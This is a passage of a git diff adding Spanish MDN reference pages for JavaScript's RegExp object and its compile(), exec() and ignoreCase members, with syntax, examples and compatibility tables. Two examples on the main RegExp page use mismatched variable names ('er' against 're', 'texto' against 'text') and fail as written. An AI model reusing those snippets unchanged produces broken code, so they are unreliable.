+  - Desaprovado
+  - Expresion Regular
+  - JavaScript
+  - Obsoleto
+  - Prototype
+  - Referencia
+  - RegExp
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/compile
+---
+<div>{{JSRef}} {{deprecated_header}}</div>
+
+<p>El método obsoleto <code><strong>compile</strong></code><strong><code>()</code></strong> es usado para (re-)compilar una expresión regular durante la ejecución del script. Es básicamente lo mismo que el constructor <code>RegExp</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>regexObj</var>.compile(<var>patrón, flags</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>patrón</code></dt>
+ <dd>El texto de la expresión regular.</dd>
+ <dt><code>flags</code></dt>
+ <dd>
+ <p>Si es especificado, las flags pueden tener cualquier combinación de los siguientes valores:</p>
+
+ <dl>
+  <dt><code>g</code></dt>
+  <dd>búsqueda global (global match)</dd>
+  <dt><code>i</code></dt>
+  <dd>ignorar mayúsculas o minúsculas</dd>
+  <dt><code>m</code></dt>
+  <dd>Tratar caracteres de inicio y fin (^ y $) como multiples líneas de texto(por ejemplo: encontrar el inicio o fin de cada línea delimitada por \n o \r, no sólo al inicio o fin de toda la entrada de texto)</dd>
+  <dt><code>y</code></dt>
+  <dd>sticky; busca solamente desde el índice indicado por la propiedad <code>lastIndex</code> de esta expresión regular en la cadena objetivo (y no intenta buscar desde ningún índice posterior).</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p> El método <code>compile</code> es obsoleto. Puedes simplemente utilizar el constructor <code>RegExp</code> para lograr el mismo efecto.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_compile">Usando <code>compile()</code></h3>
+
+<p>El siguiente ejemplo muestra como recompilar una expresión regultar con un nuevo patrón y nuevas flags.</p>
+
+<pre class="brush: js">var regexObj = new RegExp('foo', 'gi');
+regexObj.compile('new foo', 'g');
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Commentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp.prototype.compile', 'RegExp.prototype.compile')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial. Definido en la (norma) Annex B ECMAScript para Características Adicionales para Navegadores Web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp.prototype.compile', 'RegExp.prototype.compile')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Definido en la (norma) Annex B ECMAScript para Características Adicionales para Navegadores Web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatiblidad_con_navegadores">Compatiblidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.RegExp.compile")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/regexp/exec/index.html b/files/es/web/javascript/referencia/objetos_globales/regexp/exec/index.html
new file mode 100644
index 0000000000..1925e63b67
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/regexp/exec/index.html
@@ -0,0 +1,238 @@
+---
+title: RegExp.prototype.exec()
+slug: Web/JavaScript/Referencia/Objetos_globales/RegExp/exec
+tags:
+  - Expresiones Regulares
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - RegExp
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/exec
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>exec()</code></strong> ejecuta una busqueda sobre las coincidencias de una expresión regular en una cadena especifica. Devuelve el resultado como array, o {{jsxref("null")}}.</p>
+
+<p>Si está ejecutando una expresión regular solo para buscar si algo se cumple o no, usa el método {{jsxref("RegExp.prototype.test()")}} o el método {{jsxref("String.prototype.search()")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>regexObj</var>.exec(<em>cadena</em>)</pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>cadena</code></dt>
+ <dd>Cadena sobre la cual se quiere aplicar la expresión regular</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Si se encuentran coincidencial, el método <code>exec()</code> devuelve un array y actualiza las propiedades del objecto de la expresión regular. El array devuelto contiene los elementos encontrados en su primer elemento, y un elemento por cada parte de la expresión regular que se encuentra entre parentesis y se encuentra dentro del texto que fué capturado.</p>
+
+<p>Si la busqueda falla, el método <code>exec()</code> devuelve {{jsxref("null")}}.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Considerando el siguiente ejemplo:</p>
+
+<pre class="brush: js">// Busca "quick brown" seguido de "jumps", ignorando los caracteres que se
+// encuentren entre medias.
+// Recuerda "brown" y "jumps"
+// Ignora mayusculas y minusculas
+var re = /quick\s(brown).+?(jumps)/ig;
+var result = re.exec('The Quick Brown Fox Jumps Over The Lazy Dog');
+</pre>
+
+<p>La siguiente tabla muestra el resultado de este script:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="header">Objeto</td>
+   <td class="header">Propiedad/Índice</td>
+   <td class="header">Descripción</td>
+   <td class="header">Ejemplo</td>
+  </tr>
+  <tr>
+   <td rowspan="4"><code>result</code></td>
+   <td><code>[0]</code></td>
+   <td>Todas las partes de la cadena que cumplen la expresión regular</td>
+   <td><code>Quick Brown Fox Jumps</code></td>
+  </tr>
+  <tr>
+   <td><code>[1],...[<em>n</em>]</code></td>
+   <td>
+    <p>Las subcadenas entre parentesis que han sido encontradas, si hay alguna. El número de subcadenas encontradas es ilimitado</p>
+   </td>
+   <td><code>[1] = Brown<br>
+    [2] = Jumps</code></td>
+  </tr>
+  <tr>
+   <td><code>index</code></td>
+   <td>El índice de base-0 del elemento encontrado en la cadena.</td>
+   <td><code>4</code></td>
+  </tr>
+  <tr>
+   <td><code>input</code></td>
+   <td>La cadena original.</td>
+   <td><code>The Quick Brown Fox Jumps Over The Lazy Dog</code></td>
+  </tr>
+  <tr>
+   <td rowspan="5"><code>re</code></td>
+   <td><code>lastIndex</code></td>
+   <td>El índice sobre el cual empieza la siguiente busqueda. Cuando no se usa g (busqueda global), esto va a ser siempre 0.</td>
+   <td><code>25</code></td>
+  </tr>
+  <tr>
+   <td><code>ignoreCase</code></td>
+   <td>Indica si la bandera "<code>i</code>" ha sido usada para ignorar mayusculas y minusculas.</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>global</code></td>
+   <td>Indica si la bandera "<code>g</code>" fue usada para hacer una busqueda global.</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>multiline</code></td>
+   <td>Indica si la bandera "<code>m"</code> fue usada para buscar en cadenas sobre multiples lineas</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>source</code></td>
+   <td>El texto del patrón de busqueda</td>
+   <td><code>quick\s(brown).+?(jumps)</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Encontrando_coincidencias_sucesivas">Encontrando coincidencias sucesivas</h3>
+
+<p>Si tu expresión regular contiene la bandera "<code>g</code>", puedes usar el método <code>exec()</code> varias veces para encontrar coincidencias sucesivas en la misma cadena. Cuando lo haces, la busqueda empieza en la subcadena <code>str</code> especificada por la propiedad {{jsxref("RegExp.lastIndex", "lastIndex")}} de la expresión regular ({{jsxref("RegExp.prototype.test()", "test()")}} también movera hacia adelante el indice de la propiedad {{jsxref("RegExp.lastIndex", "lastIndex")}}). Por ejemplo, asumiendo que tienes este script:</p>
+
+<pre class="brush: js">var myRe = /ab*/g;
+var str = 'abbcdefabh';
+var myArray;
+while ((myArray = myRe.exec(str)) !== null) {
+  var msg = 'Se ha encontrado ' + myArray[0] + '. ';
+  msg += 'La siguiente coincidencia empieza en el indice ' + myRe.lastIndex;
+  console.log(msg);
+}
+</pre>
+
+<p>Este script muestra el siguiente texto:</p>
+
+<pre>Se ha encontrado abb. La siguiente coincidencia empieza en el indice 3
+Se ha encontrado ab. La siguiente coincidencia empieza en el indice 9
+</pre>
+
+<p>Nota: No uses la expresión regular literalmente (o el constructor {{jsxref("RegExp")}}) dentro de la condición del bucle while o se creará un bucle infinito si hay una coincidencia, por culpa de que la propiedad {{jsxref("RegExp.lastIndex", "lastIndex")}} va a ser reiniciada por cada iteración del bucle. Además asegurate de que has usado la bandera de busqueda global "g" o se creará un bucle también.</p>
+
+<h3 id="Usando_exec()_con_RegExp_literales">Usando <code>exec()</code> con <code>RegExp</code> literales</h3>
+
+<p>También se puede usar <code>exec() sin crear un objeto de </code> {{jsxref("RegExp")}}:</p>
+
+<pre class="brush: js">var matches = /(hola \S+)/.exec('Esto es un hola mundo!');
+console.log(matches[1]);
+</pre>
+
+<p>Esto logueará un mensaje que contiene 'hola mundo!'.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10.6.21', 'RegExp.exec')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp.prototype.exec', 'RegExp.exec')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp.prototype.exec', 'RegExp.exec')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatiblidad_con_navegadores">Compatiblidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funcionalidad</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funcionalidad</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Móvil (Gecko)</th>
+   <th>IE Móvil</th>
+   <th>Opera Móvil</th>
+   <th>Safari Móvil</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Capítulo de <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Expresiones Regulares</a> en la <a href="/en-US/docs/Web/JavaScript/Guide">Guía de Javascript</a></li>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/regexp/ignorecase/index.html b/files/es/web/javascript/referencia/objetos_globales/regexp/ignorecase/index.html
new file mode 100644
index 0000000000..9073d631d1
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/regexp/ignorecase/index.html
@@ -0,0 +1,142 @@
+---
+title: RegExp.prototype.ignoreCase
+slug: Web/JavaScript/Referencia/Objetos_globales/RegExp/ignoreCase
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad <strong><code>ignoreCase</code></strong> indica si la expresión regular está usando la bandera "i". <code>ignoreCase</code> es una propiedad de <em>sólo lectura </em>de una instancia de expresión regular.</p>
+
+<div>{{js_property_attributes(0, 0, 1)}}</div>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El valor de <code>ignoreCase es un </code>{{jsxref("Boolean")}} y <code>true si la bandera "i" fue usada. De otra manera es false. La bandera "i" indica que el se debe ignorar la capitalización al tratar de encontrar los equivalentes en un texto.</code></p>
+
+<p>No se puede cambiar esta propiedad directamente.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_ignoreCase">Usando <code>ignoreCase</code></h3>
+
+<pre class="brush: js">var regex = new RegExp('foo', 'i');
+
+console.log(regex.ignoreCase); // true
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.2. JavaScript 1.5: <code>ignoreCase</code> es una propiedad de la instancia  {{jsxref("RegExp")}}, y no del objecto {{jsxref("RegExp")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10.7.3', 'RegExp.prototype.ignoreCase')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-regexp.prototype.ignorecase', 'RegExp.prototype.ignoreCase')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td><code>ignoreCase</code> es ahora una propiedad accesora del prototipo en lugar de una propiedad de dato de una instancia.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-regexp.prototype.ignorecase', 'RegExp.prototype.ignoreCase')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Propiedad accesor del Prototipo</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(38)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Propiedad accesor del Prototipo</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(38)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("RegExp.lastIndex")}}</li>
+ <li>{{jsxref("RegExp.prototype.global")}}</li>
+ <li>{{jsxref("RegExp.prototype.multiline")}}</li>
+ <li>{{jsxref("RegExp.prototype.source")}}</li>
+ <li>{{jsxref("RegExp.prototype.sticky")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/regexp/index.html b/files/es/web/javascript/referencia/objetos_globales/regexp/index.html
new file mode 100644
index 0000000000..9a26edead0
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/regexp/index.html
@@ -0,0 +1,264 @@
+---
+title: RegExp
+slug: Web/JavaScript/Referencia/Objetos_globales/RegExp
+tags:
+  - Clase
+  - Expresiones Regulares
+  - JavaScript
+  - Referencia
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp
+---
+<div>{{JSRef}}</div>
+
+<p>El objeto <strong><code>RegExp</code></strong> se utiliza para hacer coincidir texto con un patrón.</p>
+
+<p>Para obtener una introducción a las expresiones regulares, lee el {{JSxRef("../Guide/Regular_Expressions", "capítulo sobre expresiones regulares")}} en la {{JSxRef("../Guide/Regular_Expressions", "Guía de JavaScript")}}.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<h3 id="Notación_literal_y_constructor">Notación literal y constructor</h3>
+
+<p>Hay dos formas de crear un objeto <code>RegExp</code>: una <em>notación literal</em> y un <em>constructor</em>.</p>
+
+<ul>
+ <li>Los parámetros de <strong>la notación literal</strong> se encierran entre barras y no utilizan comillas.</li>
+ <li>Los parámetros de <strong>la función constructora</strong> no se encierran entre barras, pero utilizan comillas.</li>
+</ul>
+
+<p>Las siguientes tres expresiones crean el mismo objeto de expresión regular:</p>
+
+<pre class="brush: js notranslate">let er = /ab+c/i; // notación literal
+let er = new RegExp('ab+c', 'i') // constructor con patrón de cadena como primer argumento
+let er = new RegExp(/ab+c/, 'i') // constructor con expresión regular literal como primer argumento (a partir de ECMAScript 6)
+</pre>
+
+<p>La notación literal da como resultado la compilación de la expresión regular cuando se evalúa la expresión. Utiliza la notación literal cuando la expresión regular permanecerá constante. Por ejemplo, si usas notación literal para construir una expresión regular usada en un bucle, la expresión regular no se volverá a compilar en cada iteración.</p>
+
+<p>El constructor del objeto de expresión regular, por ejemplo, <code>new RegExp('ab+c')</code>, da como resultado la compilación en tiempo de ejecución de la expresión regular. Utiliza la función constructora cuando sepas que el patrón de expresión regular cambiará, o no conozcas el patrón y lo obtienes de otra fuente, tal como la entrada del usuario.</p>
+
+<h3 id="Banderas_en_el_constructor">Banderas en el constructor</h3>
+
+<p>A partir de ECMAScript 6, <code>new RegExp(/ab+c/, 'i')</code> ya no arroja un {{JSxRef("TypeError")}} (<code>"no puedes proporcionar banderas cuando construyes una expresión regular a partir de otra"</code>) cuando el primer argumento es una <code>RegExp</code> y el segundo argumento <code><var>flags</var></code> está presente. En su lugar, se crea una nueva <code>RegExp</code> a partir de los argumentos.</p>
+
+<p>Cuando se utiliza la función constructora, las reglas de escape de cadenas normales (antes de los caracteres especiales con <code>\</code> cuando se incluyen en una cadena) son necesarias.</p>
+
+<p>Por ejemplo, los siguientes son equivalentes:</p>
+
+<pre class="brush: js notranslate">let er = /\w+/
+let er = new RegExp('\\w+')
+</pre>
+
+<h3 id="Propiedades_de_expresiones_regulares_similares_a_Perl">Propiedades de expresiones regulares similares a Perl</h3>
+
+<p>Ten en cuenta que varias de las propiedades de {{JSxRef("RegExp")}} tienen nombres largos y cortos (tipo Perl). Ambos nombres siempre se refieren al mismo valor. (Perl es el lenguaje de programación a partir del cual JavaScript modeló sus expresiones regulares). Consulta también las propiedades {{JSxRef("Características_Desaprobadas", "en desuso de RegExp", "#Propiedades_de_RegExp")}}</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{JSxRef("Objetos_globales/RegExp/RegExp", "RegExp()")}}</dt>
+ <dd>Crea un nuevo objeto <code>RegExp</code>.</dd>
+</dl>
+
+<h2 id="Propiedades_estáticas">Propiedades estáticas</h2>
+
+<dl>
+ <dt>{{JSxRef("RegExp.@@species", "get RegExp[@@species]")}}</dt>
+ <dd>La función constructora utilizada para crear objetos derivados.</dd>
+ <dt>{{JSxRef("RegExp.lastIndex")}}</dt>
+ <dd>El índice en el que comenzará la siguiente búsqueda.</dd>
+</dl>
+
+<h2 id="Propiedades_de_la_instancia">Propiedades de la instancia</h2>
+
+<dl>
+ <dt>{{JSxRef("RegExp.prototype.flags")}}</dt>
+ <dd>Una cadena que contiene las banderas del objeto <code>RegExp</code>.</dd>
+ <dt>{{JSxRef("RegExp.prototype.dotAll")}}</dt>
+ <dd>Si el "<code>.</code>" coincide con nuevas líneas o no.</dd>
+ <dt>{{JSxRef("RegExp.prototype.global")}}</dt>
+ <dd>Si se debe probar o no la expresión regular con todas las posibles ocurrencias en una cadena, o solo con la primera.</dd>
+ <dt>{{JSxRef("RegExp.prototype.ignoreCase")}}</dt>
+ <dd>Si se deben o no ignorar las mayúsculas/minúsculas al buscar en una cadena.</dd>
+ <dt>{{JSxRef("RegExp.prototype.multiline")}}</dt>
+ <dd>Si buscar o no en cadenas multilínea.</dd>
+ <dt>{{JSxRef("RegExp.prototype.source")}}</dt>
+ <dd>El texto del patrón.</dd>
+ <dt>{{JSxRef("RegExp.prototype.sticky")}}</dt>
+ <dd>Si la búsqueda es pegajosa o no.</dd>
+ <dt>{{JSxRef("RegExp.prototype.unicode")}}</dt>
+ <dd>Si las funciones Unicode están habilitadas o no.</dd>
+</dl>
+
+<h2 id="Métodos_de_instancia">Métodos de instancia</h2>
+
+<dl>
+ <dt>{{JSxRef("RegExp.prototype.compile()")}}</dt>
+ <dd>(Re)compila una expresión regular durante la ejecución de un script.</dd>
+ <dt>{{JSxRef("RegExp.prototype.exec()")}}</dt>
+ <dd>Ejecuta una búsqueda de una coincidencia en su parámetro de cadena.</dd>
+ <dt>{{JSxRef("RegExp.prototype.test()")}}</dt>
+ <dd>Prueba una coincidencia en su parámetro de cadena.</dd>
+ <dt>{{JSxRef("RegExp.prototype.toString()")}}</dt>
+ <dd>Devuelve una cadena que representa el objeto especificado. Redefine el método {{JSxRef("Object.prototype.toString()")}}.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}}</dt>
+ <dd>Realiza la coincidencia con la cadena dada y devuelve el resultado de la coincidencia.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@matchAll()", "RegExp.prototype[@@matchAll]()")}}</dt>
+ <dd>Devuelve todas las coincidencias de la expresión regular con una cadena.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}}</dt>
+ <dd>Reemplaza las coincidencias en una cadena dada con una nueva subcadena.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}}</dt>
+ <dd>Busca la coincidencia en la cadena dada y devuelve el índice del patrón encontrado en la cadena.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}}</dt>
+ <dd>Divide la cadena dada en un arreglo separando la cadena en subcadenas.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usar_una_expresión_regular_para_cambiar_el_formato_de_los_datos">Usar una expresión regular para cambiar el formato de los datos</h3>
+
+<p>El siguiente script usa el método {{JSxRef("String.prototype.replace()", "replace()")}} de la instancia {{JSxRef("Objetos_globales/String", "String")}} para hacer coincidir una nombre en el formato <em>primero último</em> y enviarlo en el formato <em>último, primero</em>.</p>
+
+<p>En el texto de reemplazo, el script usa <code>$1</code> y <code>$2</code> para indicar los resultados de los correspondientes paréntesis coincidentes en el patrón de expresión regular.</p>
+
+<pre class="brush: js notranslate">let er = /(\w+)\s(\w+)/
+let str = 'John Smith'
+let newstr = str.replace(er, '$2, $1')
+console.log(newstr)
+</pre>
+
+<p>Esto muestra <code>"Smith, John"</code>.</p>
+
+<h3 id="Uso_de_expresiones_regulares_para_dividir_líneas_con_diferentes_finales_de_líneasaltos_de_línea">Uso de expresiones regulares para dividir líneas con diferentes finales de línea/saltos de línea</h3>
+
+<p>El final de línea predeterminado varía según la plataforma (Unix, Windows, etc.). La división de líneas proporcionada en este ejemplo funciona en todas las plataformas.</p>
+
+<pre class="brush: js notranslate">let texto = 'Un poco de texto\ny un poco más\r\ny aún\reste es el final'
+let lineas = texto.split(/\r\n|\r|\n/)
+console.log(lineas) // logs [ 'Un poco de texto', 'y un poco más', 'y aún', 'este es el final' ]
+</pre>
+
+<p>Ten en cuenta que el orden de los patrones en la expresión regular es importante.</p>
+
+<h3 id="Usar_expresiones_regulares_en_varias_líneas">Usar expresiones regulares en varias líneas</h3>
+
+<pre class="brush: js notranslate">let s = '¡Por favor, sí\nhazme el día!'
+
+s.match(/sí.*día/);
+// Devuelve null
+
+s.match(/sí[^]*día/);
+// Devuelve ["sí\nhazme el día"]
+</pre>
+
+<h3 id="Usar_una_expresión_regular_con_la_bandera_pegajosa">Usar una expresión regular con la bandera pegajosa</h3>
+
+<p>La bandera {{JSxRef("Objetos_globales/RegExp/sticky", "sticky")}} indica que la expresión regular realiza una coincidencia permanente en la cadena de destino al intentar hacer coincidir a partir de {{JSxRef("RegExp.prototype.lastIndex")}}.</p>
+
+<pre class="brush: js notranslate">let str = '#foo#'
+let regex = /foo/y
+
+regex.lastIndex = 1
+regex.test(str)      // true
+regex.lastIndex = 5
+regex.test(str)      // false (lastIndex se tiene en cuenta con una bandera pegajosa)
+regex.lastIndex      // 0 (restablecer después de un error de coincidencia)</pre>
+
+<h3 id="La_diferencia_entre_la_bandera_pegajosa_y_la_bandera_global">La diferencia entre la bandera pegajosa y la bandera global</h3>
+
+<p>Con la bandera pegajosa <code>y</code>, la siguiente coincidencia tiene que ocurrir en la posición <code>lastIndex</code>, mientras que con la bandera global <code>g</code>, la coincidencia puede ocurrir en la posición <code>lastIndex</code> o posterior:</p>
+
+<pre class="brush: js notranslate">er = /\d/y;
+while (r = re.exec("123 456")) console.log(r, "Y er.lastIndex", er.lastIndex);
+
+// [ '1', index: 0, input: '123 456', groups: undefined ] AND er.lastIndex 1
+// [ '2', index: 1, input: '123 456', groups: undefined ] AND er.lastIndex 2
+// [ '3', index: 2, input: '123 456', groups: undefined ] AND er.lastIndex 3
+//   ... y no más coincidencias.</pre>
+
+<p>Con la bandera global <code>g</code>, coincidirían los 6 dígitos, no solo 3.</p>
+
+<h3 id="Expresión_regular_y_caracteres_Unicode">Expresión regular y caracteres Unicode</h3>
+
+<p><code>\w</code> y <code>\W</code> solo coincide con caracteres basados en ASCII; por ejemplo, <code>a</code> a <code>z</code>, <code>A</code> a <code>Z</code>, <code>0</code> a <code>9</code> y <code>_</code>.</p>
+
+<p>Para hacer coincidir caracteres de otros idiomas como Cirílico o Hebreo, usa <code>\u<var>hhhh</var></code>, donde <code><var>hhhh</var></code> es el Valor Unicode en hexadecimal.</p>
+
+<p>Este ejemplo demuestra cómo se pueden separar los caracteres Unicode de una palabra.</p>
+
+<pre class="brush: js notranslate">let texto = 'Образец texto на русском языке'
+let regex = /[\u0400-\u04FF]+/g
+
+let match = regex.exec(text)
+console.log(match[0])        // registra 'Образец'
+console.log(regex.lastIndex) // registra '7'
+
+let match2 = regex.exec(texto)
+console.log(match2[0])       // registra 'на' [no registró 'texto']
+console.log(regex.lastIndex) // registra '15'
+
+// y así sucesivamente
+</pre>
+
+<p>La función {{JSxRef("../Guide/Regular_Expressions/Unicode_Property_Escapes", "Escapes de propiedad Unicode")}} presenta una solución, al permitir una declaración tan simple como <code>\p{scx=Cyrl}</code>.</p>
+
+<h3 id="Extraer_el_nombre_de_subdominio_de_la_URL">Extraer el nombre de subdominio de la URL</h3>
+
+<pre class="brush: js notranslate">let url = 'http://xxx.dominio.com'
+console.log(/[^.]+/.exec(url)[0].substr(7)) // registra 'xxx'
+</pre>
+
+<div class="blockIndicator note">
+<p>En lugar de utilizar expresiones regulares para analizar las URL, normalmente es mejor utilizar el analizador de URL integrado en los navegadores mediante la <a href="/es/docs/Web/API/URL_API">API URL</a>.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp-regular-expression-objects', 'RegExp')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
